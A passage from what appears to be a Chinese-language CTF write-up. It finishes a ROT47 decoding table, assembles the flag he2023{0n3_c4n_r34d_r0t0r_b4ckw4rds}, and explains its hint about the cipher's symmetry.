5 53 同上 d
D 68 33 + ((68 - 33 + 47) % 94) = 115 s
N 78 33 + ((78 - 33 + 47) % 94) = 125 }

4. 解密结果

将所有解密后的字符组合起来，得到：

1
he2023{0n3_c4n_r34d_r0t0r_b4ckw4rds}

解密后的文本具有明显的旗标格式，其中包含了一句英文提示：

1
0n3_c4n_r34d_r0t0r_b4ckw4rds

这可以理解为：

1
one can read rot0r backwards

其中 rot0r 指的是 ROT0r，暗示了 ROT47 的对称性，即加密和解密过程相同。